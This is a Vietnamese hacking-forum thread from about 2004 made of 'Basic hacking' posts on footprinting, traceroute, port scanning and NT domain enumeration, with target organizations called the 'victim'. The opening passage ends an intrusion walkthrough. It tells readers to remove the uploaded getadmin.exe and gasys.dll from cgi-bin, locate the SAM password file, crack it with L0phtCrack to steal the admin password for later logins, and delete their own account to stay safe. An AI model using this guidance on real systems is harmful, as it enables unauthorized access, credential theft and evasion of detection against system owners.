xong rồI bạn hãy xoá file `getadmin.exe`, và `gasys.dll` từ `cgi-bin` . Mục đích khi ta xâm nhập hệ thống này là “chôm” pass của admin để lần sau xâm nhập một cách hợp lệ , do đó bạn hãy tìm file SAM ( chứa pass của admin và member ) trong hệ thống rồI dùng chương trình “l0pht crack” để crack pass ( Hướng dẫn về cách sử dụng “l0pht crack v 3.02” tôi đã post lên rồi ,các bạn hãy tự nghiên cứu nhé ) . Đây là link : http://vnhacker.org/forum/?act=ST& f=6&t=11566&s=
Khi crack xong các bạn đã có user và pass của admin rồI , bây giờ hãy xoá account của user ( của tôi là “anhdenday” ) đi cho an toàn . Bạn đã có thể làm gì trong hệ thống là tuỳ thích , nhưng các bạn đừng xoá hết tài liệu của họ nhé , tội cho họ lắm .
Bạn cảm thấy thế nào , rắc rối lắm phải không . Lúc tôi thử hack cách này , tôi đã mày mò mất cả 4 giờ , nếu như bạn đã quen thì lần thứ 2 bạn sẽ mất ít thờI gian hơn .

Ở phần 3 tôi sẽ đề cập đến HĐH Linux , đến cách ngắt mật khẩu bảo vệ của một Web site , và làm thế nào để hack một trang web đơn giản nhất .v.v…
Chán đời đi lang thang !
Đăng nhập để trả lời
0
Kỹ thuật Hack cơ bản - Phần I [1/6/2004 8:48:00 AM]
**** Foot Printing ****

Thân chào tất cả các bạn , nhằm đáp ứng nhu cầu học hỏi trong hacking và security, fantomas311 đã biên soạn một bộ bài viết "Basic hacking" và các bài viết liên quan đến hacking hệ thống để giới thiệu đến các bạn . Xin khuyến cáo với những ai muốn học hack một cách fast food là các bạn không nên đọc bài viết này ! Vì tôi không post những bài dạy hack cho các bạn , mà tôi chỉ post bài theo phương châm "hack như thế nào" . Hãy đọc , suy nghĩ và làm bằng đôi tay và khối óc của mình !!

Trước khi các hacker thực sự bắt tay vào việc, họ phải tiến hành 3 bước cơ bản là in dấu ấn (foot printing) , Quét (scanning) và điểm danh(enumeration). Bài viết này đề cập đến kỹ thuật in dấu ấn và những vấn đề liên quan.


**In dấu ấn là gì ??**

In dấu ấn là việc dùng các công cụ và kỹ thuật để lấy thông tin cơ bản đầu tiên về một tổ chức hoặc một chuyên khu web muốn tấn công ( trong bài viết này tạm gọi là victim). Việc in dấu ấn có hệ thống một tổ chức sẽ cho phép hacker thấy rõ tình hình an ninh ( độ bảo mật) của tổ chức đó.

**Tại sao cần in dấu ấn ??**

Foot Printing giúp có thể định danh tất cả các mẩu tin và nắm những thông tin cơ bản (đôi khi khá quan trọng) về victim

** Kỹ thuật in dấu ấn **

Có rất nhiều kỹ thuật in dấu ấn khác nhau, bài viết này sẽ mô tả các bước giúp bạn hoàn thành một đợt phân tích dấu ấn kỹ lưỡng.

*Bước 1:

định phạm vi hoạt động: Bước này nói cho đơn giản là bạn phải xác định rõ cái mà bạn muốn hack là gì ( một công ty , một server hay chỉ là một web cá nhân ... )

- Đối với người mới bắt đầu, bạn nên đọc kỹ và ghi lại những thông tin mà trang web cung cấp cho bạn ( những thông tin về nó , như số ĐT , mail của webmaster , địa chỉ ....). Có nhiều khi những thông tin này lại là "chiếc chìa khoá vàng" cho bạn :) Những mục đáng quan tâm bao gồm :
+ Các vị trí
+ Các công ty hoặc thực thể liên quan
+ Các kết nối hoặc tin tức có được
+ Các ngôn ngữ bảo mật nêu rõ các cơ chế bảo mật đã thiết đặt ( cấu hình fire wall chẳng hạn )
+ Các số điện thoại , tên liên lạc và Email .....

Ngoài ra, bạn cũng có thể xem lại mã nguồn HTML để tìm những sơ hở trong lập trình , bên cạnh đó , những chú thích nằm trong các thẻ HTML như < ! và ~ cũng là một " tài nguyên" đáng khai thác !! ( thí dụ như :D )
Sau khi nghiên cứu trang web , bạn tìm thêm những thông tin cung cấp các manh mối bổ sung về tình trạng của tổ chức và tình hình an ninh của nó ( trên báo chí , các bản tin trên NET chẳng hạn) . Những động cơ tìm kiếm là chìa khoá cho bạn . Sau đây là một vài động cơ tìm kiếm :

http://google.com :) http://sec.gov
http://cyberarmy.com Http://deja.com
http://networksolution.com http://dogpile.com
http://astalavista.com http://ipswich.com
http://arin.net/whois/ http://ferretsoft.com

Okie, hãy tiến hành bước đấu tiên trong kỹ thuật Hack !! B)

*Bước 2 : điểm danh mạng

Trong bước này , việc đầu tiên là định danh các domain và mạng có liên quan đến victim . Muốn làm điều này , hãy truy xuất dữ liệu của network solution ( www.networksolution.com ) và American Registry for Internet Number ( www.arin.net )
Một số kiểu truy vấn :

+Organizational : Tất cả các thông tin có liên quan đến một tổ chức cụ thể
+Domain:---------------------------------- domain -------
+Network:-----------------------------------mạng hoặc IP
+Point of contact:-------------------------1 cá nhân cụ thể ( admin )

*Bước 3 : Truy vấn DNS

Sau khi định danh các domain của tổ chức đích (victim), bạn có thể bắt đầu truy vấn DNS . Nếu DNS được cấu hình bấp bênh, ta có thể moi được thông tin tiết lộ về tổ chức . Một trong những cách cấu hình sai nghiêm trọng nhất mà một điều hành viên có thể mắc phải là cho phép người dùng internet không tin cậy thực hiện chuyển giao miền DNS ( zone transfer). Sự cố này có thể cho thấy tên hệ chủ, các IP ẩn .... nói chung là các thông tin muốn che dấu ! Việc cung cấp địa chỉ IP bên trong cho 1 người dùng không tin cậy trên internet cũng giống như cung cấp bản đồ ngôi nhà mình cho kẻ trộm vậy !!
Đến đây, có lẽ bạn có một câu hỏi " Zone transfer - how ??" . Xin thưa là đây là một vấn đề khác, có lẽ tôi sẽ đề cập trong một bài viết khác của mình để tránh loãng bài viết :). Kết thúc bước 3 tại đây !

*Bước 4: trinh sát mạng

Sau khi đã có bản đồ trong tay, thì đây là giai đoạn "xâm nhập thực tế" để xác định lộ trình truy cập tiềm năng mạng ( tạm hiểu như là việc do thám để xác định các con đường trước khi tiến hành đánh cướp á mà ! )
Để thực hiện công việc này , xin giới hiệu các bạn chương trình trace route ( ftp://ftp.ec.lbl/traceroute.tar.z ) có trong hầu hết phiên bản của Unix & WinNT . Trong WinNT , nó có tên là tracert.
Trace route là một công cụ chẩn đoán do Van Jacobson viết để cho phép xem tuyến đường mà một gói tin IP sẽ theo từ server này sang server khác
Nếu bạn không rành các lệnh trong Unix , có thể dùng VIsual Route ( http://www.visualroute.com ) để thực hiện tiến trình trinh sát(tracerouting) này . Giao diện của visual route trông rất bắt mắt & dễ sử dụng. Nhưng không có tác dụng tốt với các mạng có quy mô lớn .
Ngoài ra , bạn còn có thể thực hiện một kỹ thuật phức tạp hơn gọi là "tiến trình quét giao thức firewall" (sẽ đề cập ở Basic hacking II - Scanning của fantomas311 )

Vậy là công đoạn đầu tiên của việc hack vào một hệ thống đã xong . Bây giờ, sau khi đã thực hiện hoàn tất các bước trên, bạn ( tôi chỉ nói những người đã làm đúng các bước trên) có thể tự hỏi : "vậy có tác dụng gì ??" Làm gì tiếp theo??" "những thông tin thu được có tác dụng gì?" " Có nhất thiết phải thực hiện bước này không ?? "
:) Nhiều câu hỏi quá ! Nhưng xin để các bạn tự trả lời vậy ! Tôi chỉ trả lời 1 câu thôi ! Bước tiếp theo của quá trình hack - theo lý thuyết - là Scanning . Quá trình Scanning sẽ được đề cập trong bài viết tiếp theo của fantomas311 : " Basic Hacking part II - Scanning" :)
Hy vọng bài viết này làm bạn hài lòng
Chán đời đi lang thang !
Đăng nhập để trả lời
0
Sơ Lược Trace Route


Trong bài viết trên tôi đã đề cập đến traceroute. Vậy Traceroute là gì ?? Mời các bạn xem bài viết sau:

Traceroute là gì?

Traceroute là một chương trình cho phép bạn xác định được đường đi của các gói packets từ máy bạn đến hệ thống đích trên mạng Internet.

Một ví dụ về Traceroute!

Traceroute có thể làm được gì? Bạn hãy xem ví dụ sau sẽ rõ!

C:\windows>tracert 203.94.12.54

Tracing route to 203.94.12.54 over a maximum of 30 hops

1 abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms
2 xyz.Netzero.com (232.61.41.0) 5 ms 5 ms 5 ms
3 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms
4 we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms
5 isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms
6 196.23.0.25 (196.23.0.25) 1195 ms1204 ms
7 backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms
8 asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms
9 south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms
10 backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms
11 newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms
12 newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms
13 mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms

Tôi cần biết đường đi từ máy tôi đến một host trên mạng Internet có địa chỉ ip là 203.94.12.54. Tôi cần phải tracert đến nó! Như bạn thấy ở trên, các gói packets từ máy tôi muốn đến được 203.94.12.54 phải đi qua 13 hops(mắt xích) trên mạng. Đây là đưòng đi của các gói packets:

Netzero(ISP đã gởi dữ liệu đi) -> Spectranet (một nhà công cấp mạng xương sống - Backbone Provider) -> New York ISP -> New York Backbone -> Asia -> South Asia -> India Backbone -> New Delhi Backbone -> một router khác trong New Delhi Backbone -> New Delhi ISP

Như vậy, host có địa chỉ ip 203.94.12.54 nằm ở New Delhi, India, South Asia! Bạn cũng có thể telnet đến 203.94.12.54 trên cổng 13(datetime) để xác định giờ GMT qua đó bạn có thể biết được vị trí của host này(yêu cầu là host 203.94.12.54 phải chạy daemon datetime và được định cấu hình đúng về thời gian)!

Traceroute hoạt động như thế nào?

Trước hết, bạn cần biết về ICMP, TTL và cách làm việc của các routers(bộ định tuyến)!

Những kiến thức cơ bản

ICMP - Internet Control Message Protocol. ICMP được dùng để thông báo các lỗi xảy ra trong quá trình truyền đi của các gói dữ liệu trên mạng. ICMP thuộc tầng vận huyển - Transpoort Layer! Tầng ứng dụng HTTP FTP Telnet Finger SSH DNS
POP3/IMAP SMTP Gopher BGP
Time/NTP Whois TACACS+ SSL DNS SNMP RIP
RADIUS Archie
Traceroute tftp Ping
Tầng vận chuyển
TCP

UDP

ICMP

OSPF

Tầng Internet
IP

ARP

Tầng vật lí Ethernet/802.3 Token Ring (802.5) SNAP/802.2 X.25 FDDI ISDN
Frame Relay SMDS ATM Wireless (WAP, CDPD, 802.11)
Fibre Channel DDS/DS0/T-carrier/E-carrier SONET/SDH DWDM
PPP HDLC SLIP/CSLIP xDSL Cable Modem (DOCSIS)

Tất cả các ICMP messages đều được chuyển đi cùng với các IP datagrams. Mỗi ICMP message được gói trong IP datagram sẽ có dạng như sau:

+---------------------+-------------------------+
| IP Header(20 bytes) | ICMP message (32 bytes) |
+---------------------+-------------------------+

Sau đây là cấu trúc của một IMCP message: (tham khảo RFC792 để biết thêm!)

0 7 8 15 16 31
+-----------------+-----------------+-----------------+
| Type (0 or 8) | Code (0) | 16-bit Checksum |
+-----------------+-----------------+-----------------+
| Indentifier | sequence number |
+-----------------+-----------------+-----------------+
| |
| Optional Data (nội dung tùy thuộc vào Type và Code) |
| |
+-----------------------------------------------------+

trường type có 15 giá trị khác nhau, tùy thuộc vào từng loại ICMP error message cụ thể. Ví dụ type=3 để chỉ định cho thông báo lỗi "Không đến được đích" - "Destination unreachable" error message!
trường code = sub-error dùng để xác định chính xác lỗi đã xảy ra. Ví dụ, type=3 và code=0 nghĩa là "Network Unreachable"(không đến được mạng); nếu type=3, code=1 nghĩa là "Host Unreachable"(không đến được host)...
TTL - Time to Live. TTL là một trường 8 bit trong IP header(bạn hãy xem lại cấu trúc của IP header!). TTL là thời gian gói dữ liệu tồn tại trên mạng trước khi nó bị bỏ qua. Người gởi dữ liệu đi sẽ xác định một giá trị TTL trước, thường là từ 32 -> 64. Giá trị này sẽ được giảm đi một khi một khi được chuyển qua một bộ định tuyến trên mạng. Khi giá trị này bằng 0, datagram này sẽ bị bỏ qua và giao thức ICMP sẽ báo lỗi về cho người gởi. Điều này sẽ tránh cho datagram này đi vào một vòng lặp vô tận qua các bộ định tuyến.

Mỗi bộ định tuyến khi nhận được IP datagram sẽ giảm giá trị TTL của datagram này đi một. Hầu hết các bộ định tuyến đều không giữ lại datagram này trong thời gian quá 1 giây trước khi chuyển datagram này đi. Nên giá trị TTL có thể coi bằng hop(counter) = số bộ định tuyến mà datagram này vừa vượt qua.

Khi bộ định tuyến nhận được một datagram có trường TTL bằng 0 hoặc 1, nó sẽ không chuyển datagram này đi tiếp. Thay vào đó, nó sẽ bỏ qua datagram này và gởi một ICMP message "Time Exceeded"(quá thời gian) trở lại cho người đã gởi datagram này! Vì ICMP message mà bộ định tuyến gởi trở lại cho người gởi có địa chỉ nguồn - source address là địa chỉ ip của bộ định tuyến này nên người gởi có thể biết được địa chỉ ip của router này!

Cách làm việc của traceroute!

Traceroute gởi một IP datagram có TTL=1 đến hệ thống đích. Router đầu tiên nhận được datagram này sẽ giảm giá trị TTL đi một -> TTL=0 và router này sẽ bỏ qua datagram này(không gởi nó đi tiếp!) và gởi một ICMP error message với địa chỉ ip nguồn là địa chỉ của nó đến máy bạn. Như vậy router có thể xác định địa chỉ ip của router thứ nhất! Sau đó, traceroute sẽ gởi một datagram mới đi với giá trị TTL=2(1+1=2) đến hệ thống đích. Router đầu tiên sẽ giảm giá trị của TTL đi một -> TTL=1(2-1=1) và chuyển datagram này sang router thứ 2. Router thứ 2 nhận được datagram có TTL=1 sẽ giảm TTL=0. Rounter 2 nhận thấy TTL=0 nên nó sẽ không chuyển datagram này đi tiếp. Router 2 sẽ gởi trở lại máy bạn một ICMP error message với địa chỉ ip nguồn là địa chỉ ip của nó(router 2). Như vậy trình traceroute trên máy bạn sẽ biết được router thứ 2 mà datagram đã đi qua. Traceroute sẽ tiếp tục gởi một datagram khác có TTL=3(2+1=3) đi và lặp lại quá trình trên cho đến khi datagram đến được hệ thống đích!

Nếu bây giờ IP datagram đã đến được đích, TTL=1. Host đích sẽ bỏ qua datagram này và nó cũng sẽ không gởi "Time Exceeded" ICMP error message. Như vậy thì bạn sẽ không thể nào biết được là mình đã đến đích chưa?! Traceroute dùng một cơ chế khác như sau:

Traceroute gởi UDP datagrams đến host đích trên các cổng UDP có số hiệu lớn(>30000). Sở dĩ nó chọn các cổng có giá trị lớn vì thường không có ứng dụng nào đang lắng nghe ở các cổng này. Khi host đích nhận được UDP datagram này, nó sẽ gởi trả lại một ICMP error message "Port Unreachable"(không đến được cổng) cho traceroute. Bây giờ thì traceroute có thể phân biệt được sự khác nhau giữa ICMP error message "Time Exceeded" với "Port Unreachable" để biết được đã đến được đích hay chưa?!

Ghi chú: ICMP error message "Time Exceeded" có type=1 và code=0; ICMP eror message "Port Unreachable" có type=3 và code=3

Tổng kết: traceroute gởi UDP datagrams đến host đích với giá trị TTL=1 và được tăng sau mỗi lần để xác định các routers mà datagrams đã đi qua. Mỗi router sẽ gởi trở về một ICMP message "Time Exceeded". Riêng hệ thống đích sẽ gởi trở lại cho traceroute một ICMP message "Port Unreachable". Traceroute dựa vào sự khác biệt này để xác định xem đã đến được đích chưa?!

Ví dụ cuối cùng!

host2 # traceroute xyz.com

traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 byte packets
1 isp.net (202.xy.34.12) 20ms 10ms 10ms
2 xyz.com (202.xx.12.34) 130ms 130ms 130ms

Dòng đầu tiên cho biết hostname và địa chỉ IP của hệ thống đích. Dòng này còn cho chúng ta biết thêm giá trị TTL<=30 và kích thước của datagram là 40 bytes(20-bytes IP Header + 8-bytes UDP Header + 12-bytes user data).

Dòng thứ 2 cho biết router đầu tiên nhận được datagram là 202.xy.34.12, giá trị của TTL khi gởi đến router này là 1. Router này sẽ gởi trở lại cho chương trình traceroute một ICMP message error "Time Exceeded". Traceroute sẽ gởi tiếp một datagram đến hệ thống đích.

Dòng thứ 3, xyz.com(202.xx.12.34) nhận được datagram có TTL=1(router thứ nhất đã giảm một trước đó - TTL=2-1=1). Tuy nhiên, xyz.com không phải là một router, nó sẽ gởi trở lại cho traceroute một ICMP error message "Port Unreachable". Khi nhận được ICMP message này, traceroute sẽ biết được đã đến được hệ thống đích xyz.com và kết thúc nhiệm vụ tại đây.

Trong trường hợp router không trả lời sau 5 giây, traceroute sẽ in ra một dấu sao "*"(không biết) và tiếp tục gởi datagram khác đến host đích!

Chán đời đi lang thang !
Đăng nhập để trả lời
0
Kỹ thuật hack cơ bản - Phần II [2/17/2004 3:38:00 AM]
***** Scanning *****
=== Author : Fantomas311 ===

Nếu Foot Printing là thu thập tất cả thông tin có liên quan đến tổ chức đích thì Scan là một bước xác định xem trong mớ bòng bong kia thì cái nào là "xài được" bằng các đợt quét ping, quét cổng và các công cụ phát hiện tự động

Nếu kỹ thuật zone transfer cho ta 1 địa chỉ IP thì scan sẽ giúp ta xác định xem nó ở port nào và nó có phải là một IP thực hay không. Có một số server hiển thị cả các IP của mạng tư ( thí dụ như 10.10.10.0 ). Một địa chỉ IP như thế không thể định tuyến ( xem http://www.ietf.org/rfc/rfc1918.txt để biết thêm chi tiết)

++ Quét Ping mạng : Ngòai quét ping truyền thống bằng cách mở cửa sổ DOS và tyoe lệnh Ping như chúng ta đều biết, còn một số kiểu quét ping khác như :
+ Fping: dùng trong Unix ( http://ftp.tamu.edu/pub/Unix/src ) fping là một trình tiện ích gửi đi các yêu cầu mass ping theo kiểu song song vì thế fping quét được nhiều địa chỉ IP hơn so với ping
+ Nmap ( http://insecure.org/nmap ) : Có lẽ không cần nói nhiều về trình tiện ích này , có khá nhiều hướng dẫn đầy đủ cách sử dụng và chức năng của nmap trên mạng. Nmap cung cấp khả năng quét ping với tùy chọn -sP
+ Pinger : dùng cho Windows, sản phẩm miễn phí của Rhino9 ( http://207.98.195.250/software/ ) là một trong các trình tiện ích nhanh nhất sẳn có
+ Ping Sweep : Sản phẩm của Solarwinds, chạy khá nhanh, nhưng công cụ này có thể làm bão hòa một mạng có tuyến nối kết chậm ( Cái này xài ở VN ko ổn nên ko giới thiệu chi tiết )
+ WS Ping Proback ( http://www.ipswich.com ) và các công cụ netscan ( http://www.nwpsw.com ) đủ để quét một mạng nhỏ, tiện dụng và giao diện đơn giản , tuy nhien khá chậm so với pinger và ping sweep . Người mới bắt đầu nên sử dụng lọai này !

Về cơ bản thì ping là quá trình gửi và nhận các gói tin ICMP (Internet Control Messaging Protocol ) . Vậy nếu ICMP bị phong tỏa bởi quản trị mạng của chuyên khu đích thì sao ? Trường hợp điển hình là khi type lệnh ping một domain mà không nhận được hồi âm nào , lúc đó ICMP tại bộ định tuyến biên bị phong tỏa hoặc có một fire wall đã được thiết lập . Trong trường hợp này ta có hai lựa chọn :
+ Bỏ qua quét ping mà thực hiện quét cổng (port Scan) : Sẽ đề cập ở phần sau của bài viết này .
+ Thực hiện ping TCP:
- Dùng Nmap với tùy chọn -PT . Tùy chọn này sẽ gửi các gói tin TCP SYN đến mạng đích và đợi đáp ứng, các hệ chủ "còn sống" sẽ đáp ứng bằng một gói tin TCP SYN/ACK. Phương pháp này khá hiệu quả để xác định xem hệ chủ có còn sống hay không cho dù chuyên khu đã phong tỏa ICMP .Bạn nên lặp lại kiểu quét này vài lần trên các cổng chung như SMTP (25) , POP (110) , IMAD ( 143 ) , hoặc các cổng có thể là duy nhất đối với các chuyên khu nhất định
- HPing ( http://www.kyuzz.org/antirez/ ) là một trình tiện ích ping TCP khác có công năng bổ sung TCP qua mặt cả Nmap . Hping cho phép người dùng điều khiển các tùy chọn cụ thể về gói tin TCP có thể cho phép nó đi qua một số thiết bị kiểm sóat truy cập nhất định. Nhờ ấn định cổng đích với tùy chọn -P , bạn có thể phá vỡ vài thiết bị kiểm sóat truy cập tương tự như kỹ thuật trace route đã nêu ở Part I có thể dùng Hping để thực hiện các đợt quét ICMP và có thể phân mảnh [ fragment ] các gói tin có tiềm năng phớt lờ một số thiết bị kiểm soát truy cập .Hping sẽ được đề cập chi tiết hơn ở phần sau

Tóm lại , bước này cho phép xác định một cách chính xác các hệ thống còn sống hay không thông qua ICMP hoặc thông qua cổng quét chọn lọc . Làm như vậy, ta đã giảm bớt đáng kể tiến trình ấn định đích, tiết kiệm thời gian trắc nghiệm và thu hẹp trọng tâm của các hoạt động .

++ Truy vấn ICMP : Bạn có thể thu thập tất cả các kiểu thông tin quý giá về một hệ thống bằng cách đơn giản gửi một gói tin ICMP cho nó , các công cụ có thể down load tại http://securityfocus.com
++ Quét cổng (port scan): đến lúc này , ta đã định danh các hệ thống còn sống bằng cách dùng các đợt quét ping ICMP hoặc TCP và đã thu thập được một ít thông tin ICMP . Giờ đây ta đã sẵn sàng tiến trình quét cổng từng hệ thống. Quét cổng là tiến trình nối với các cổng TCP và UDP trên hệ đích để xác định các dịch vụ đang chạy hoặc đang ở trạng thái LISTENNING . Ta phải định danh các cổng đang lắng chờ nếu như muốn xác định kiểu hệ điều hành và các ứng dụng đang dùng. Các dịch vụ hoạt động đang lắng chờ (listenning) có thể cho phép một người dùng trái phép giành được quyến truy cập các hệ thống bị cấu hình sai. Sau đây,ta coi như các hệ thống mà ta đã định danh ở bước trên là còn sống ( alive ) , mục tiêu của việc quét cổng là :
+ Định danh các dịch vụ TCP và UDP đang chạy trên hệ đích
+ Định danh kiểu hệ điều hành của hệ đích
+ Định danh các ứng dụng cụ thể hoặc các phiên bản của một dịch vụ cụ thể

** Các kiểu quét : trước khi giới thiệu các công cụ quét cổng chủ yếu, ta phải xét qua các kỹ thuật quét cổng sẵn dùng :

* Quét nối TCP : kiểu quét này nối với cổng đích và hòan thành một đợt bắt tay ba chiều đầy đủ ( SYN , SYN/ACK , ACK ) hệ đích có thể dễ dàng phát hiện nó . Tiến trình bắt tay ba chiều TCP gồm :
= Gửi gói tin SYN đến hệ phục vụ
= Nhận gói tin SYN/ACK từ hệ phục vụ
= Gửi gói tin ACK đến hệ phục vụ

* Quét TCP SYN : kỹ thuật này là việc thực hiện một tuyến nối TCP đầy đủ, nghĩa là : gửi gói tin SYN đến cổng đích , ta có thể suy ra nó nằm trong trạng thái listenning. Nếu nhận được một RST/ACK nó thường cho thấy cổng đang không lắng chờ: một RST/ACK sẽ được gửi bởi hệ thống thực hiện quét cổng để một tuyến nồi đầy đủ không bao giờ được thiết lập.Kỹ thuật này có ưu điểm là mang tính lén lút hơn một tuyến nối TCP đầy đủ

* Quét TCP FIN : kỹ thuật này gửi một gói tin FIN cho cổng đích. Dựa trên RFC 793 ( http://www.ietf.org/rfc/rfc0793.txt ) hệ đích sẽ gửi trả một RTS cho tất cả các cổng đã đóng.Kỹ thuật này thường chỉ làm việc trên các ngăn xếp TCP/IP gốc Unix

* Quét TCP Xmas Tree : Kỹ thuật này gửi một gói tin FIN , URG và PUSH cho cổng đích dựa trên RFC 793, hệ đích sẽ gửi trả một RST của tất cả các cổng đã đóng.

* Quét TCP Null : giống TCP Xmas Tree

* Quét UDP : Kỹ thuật này gửi một gói tin UDP cho cổng đích. Nếu cổng đích đáp ứng bằng một thông điệp "ICMP port unreachable ", cổng đã đóng. Ngược lại, nếu không nhận được thông điệp trên, ta có thể suy ra cổng mở ! Độ chính xác của kỹ thuật này tùy thuộc nhiều vào yếu tố có liên quan đến việc sử dụng các tài nguyên mạng và hệ thống. Khi thực hiện các đợt quét cổng UDP, có thể sẽ cho kết quả khác nhau . Một số thực thi IP sẽ gửi trả tất cả các RTS của tất cả các cổng đã quét dẫu chúng có đang lắng chờ hay không

* Định danh các dịch vụ TCP và UDP đang chạy : trình tiện ích của một công cụ quét cổng tốt nhất là một thành phần quan trọng của tiến trình in dấu ấn. Tuy có nhiều bộ quét cổng sẵn dùng cho cả Unix và NT , nhưng tôi sẽ đề cập đến một số bộ quét cổng thông dụng và nhanh :

- Strobe :strobe là một trong những bộ quét TCP nhanh và đáng tin cậy sẵn dùng , được viết bởi Julian Arrange ( ftp.win.or.jp/pup/network/misc/strobe-105.ta.gz ) Một số tính năng chính của Strobe bao gồm khả năng tối ưu hóa các tài nguyên mạng, hệ thống và quét hệ đích một cách có hiệu quả . Ngòai tính hiệu quả , phiên bản 1.04 của strobe về sau sẽ nắm giữ các banner kết hợp của từng cổng mà chúng nối với . Điều này có thể giúp định danh hệ điều hành lẫn dịch vụ đang chạy . Tính năng nắm giữ banner sẽ được nói nhiều hơn ở Part III
Tuy nhiên Strobe cũng có một số nhược điểm là không cung cấp khả năng quét UDP và hệ đích có thể dễ dàng phát hiện

- Up_Scan : Nếu Strobe cung cấp khả năng quét TCP thì Up_Scan là một trong những bộ quét UDP tin cậy nhất ( http://wwdsilx.wwdsi.com ) Nhược điểm : dễ bị phát hiện

- Netcat : trình tiện ích này có thể thực hiện rất nhiều công việc , cũng như nmap, nóp là công cụ không thể thiếu trong hacking cũng như security. Để quét TCP và UDP , ta sử dụng các tùy chọn -v và -vv , -z, -wz, -u

- PortPro và PortScan: trong WinNT thì portPro và PortScan là hai trình tiện ích quét cổng nhanh nhất.PortPro cùa StOrM ( http://securityfocus.com )và portScan là sản phẩm của Rhad. PortScan cung cấp một miền các cổng để quét trong khi portpro đơn giản gia số các cổng của nó, nhưng cả hai đều không cung cấp các miền địa chỉ IP .Portpro là một trong những công cụ quét cổng nhanh nhất sẵn dùng , tuy nhiên càc tùy chọn của nó còn hạn chế !

- Ngòai ra, công cụ quét cổng mạnh nhất vẫn là nmap ( đã giới thiệu ở phần trước )

** Các công cụ phát hiện tự động:

+ Cheops ( http://www.marko.net/cheops/ ) cung cấp khả năng quét ping, trace route , khả năng quét cổng và tính năng phát hiện hệ điều hành
+ Tkined là một phần của bộ Scotty có tại http://wwwhome.cs.wtwente.nl/~choenw/Scotty/ là một bộ sọan thào mạng được viết trong TCL tích hợp các công cụ quản lý mạng khác nhau ,cho phép bạn phát hiện các mạng IP
Chán đời đi lang thang !
Đăng nhập để trả lời
0
Kỹ thuật hack cơ bản - Điểm danh - Phần II [2/17/2004 3:39:00 AM]
******Enumeration*******
=== Author: Fantomas311 ===
Giả sử việc thực hiện các bước I và II đều không thành công hoặc những thông tin thu được không thể đủ để phát động một cuộc tấn công tức thời nào,hacker sẽ chuyển sang phương pháp định danh các tài khoản người dùng hợp lệ hoặc các tài nguyên dùng chung không được bảo vệ kỹ
Enumeration (điểm danh) là một cách để trích các tài khoản hợp lệ hoặc các tài nguyên từ hệ thống. Ở Part III này, tôi sẽ nêu chi tiết các phương pháp thông dụng nhất, và các công cụ cơ bản của kỹ thuật điểm danh - buớc thứ ba trong basic hacking
Sự khác biệt chính giữa các kỹ thuật thu thập thông tin ở part I ( Foot Printing) và part II ( scanning) và kỹ thuật enumeration dưới đây nằm ở cấp xâm nhập của hacker . Điểm danh liên quan đến các tuyến nối tích cực với các hệ thống và các truy vấn có định hướng.
Phần lớn thông tin thu thập được qua kỹ thuật điểm danh thoạt nhìn có vẻ như vô hại.Tuy nhiên, những thông tin rò rĩ từ lỗ thủng theo sau nó có thể gây tai hại. Nói chung, sau khi điểm danh một tên người dùng hoặc một phần dùng chung hợp lệ, vấn đề còn lại là thời gian trước khi hacker đoán được mật hiệu tương ứng hoặc tìm ra các điểm yếu kết hợp với các giao thức chia sẽ tài nguyên.
Những thông tin mà kỹ thuật điểm danh thu được có thể tạm thu gọn thành các phạm trù sau :
++ Các tài nguyên mạng và các phần dùng chung
++ User và các group
++ Các ứng dụng và biểu ngữ (banner)
Kỹ thuật điểm danh cũng cụ thể theo từng hệ điều hành của server, và do đó ,nó cũng phụ thuộc vào các thông tin thu thập được từ part I và part II . Trong phần này, tôi sẽ lần lươt đề cập đến kỹ thuật điểm danh trong các hệ điều hành : WinNT , Novell và Unix

*******Windows NT********
Tại sao lại là WinNT ?? Đối với kỹ thuật điểm danh thì WinNT có thể xem là một người bạn thân thiết ! Còn tại sao thì.....hạ hồi phân giải nhá !
Chán đời đi lang thang !
Đăng nhập để trả lời
0
+++ Điểm danh khu ủy ( domain ) của winNT bằng netview :

Windows là hệ điều hành được thiết kế tạo thuận lợi cho tính năng duyệt các tài nguyên mạng, do đó tiến trình điểm danh các domain NT là cực kỳ đơn giản so với các hệ điều hành khác. Trong hầu hết các trường hợp, chỉ cần dùng các công cụ cài sẵn trong OS ( Operating System ). Lệnh netview là một thí dụ điển hình. Nó sẽ liệt kê các domain sẵn dùng trên mạng, rồi phơi bày thông tin của tất cả các máy tính trong một domain (ta cũng có thể dùng thông tin từ các đợt quét ping trong các phần trước để tìm hiểu các tên domain từ các máy riêng lẻ chỉ việc dùng địa chỉ IP thay cho server name . Sau đây là thí dụ :
Trước hết là điểm dang các domain trên mạng :
C:\> netview /domain
Liệt kê các máy tính trong 1 domain cụ thể :
C:\> netview /domain:têndomain

+++Điểm danh các hệ điều khiển domain NT :

Để đào sâu hơn một chút vào cấu trúc mạng NT , ta cần dùng một công cụ từ NT Resource Kit ( NTRK - lưu ý : từ này dùng khá nhiều trong bài viết này !) , cũng được xem là Windows NT Hacking Kit bởi bản chất dao hai lưỡi của nhiều trình tiện ích điều hành mạnh mà nó cung cấp ! Trước tiên, xin giới thiệu sơ lược về cái gọi là NTRK này :
- NTRK là một bộ tài liệu bổ trợ cho WinNT có kèm CD chứa các trình tiện ích để quản lý mạng.NTRK chứa một tập hợp các trình tiện ích mạnh, đa dạng từ ngôn ngữ Perl phổ dụng đến các cổng của nhiều trình tiện ích Unix , đến các công cụ điều hành từ xa không có trong các phiên bản lẻ của WinNT.Nó là một bộ đồ nghề không thề thiếu cho các điều hành viên mạng NT và cũng là công cụ hữu ích cho các hacker muốn khai thác winNT. Cũng có lẽ vì đó mà giá bán lẻ của NTRK vào khoảng ... 200 USD. Hì, nhưng không sao, vẫn còn một giải pháp free cho bạn tại ftp://ftp.microsoft.com/bussys/winnt/winnt-public/reskit/
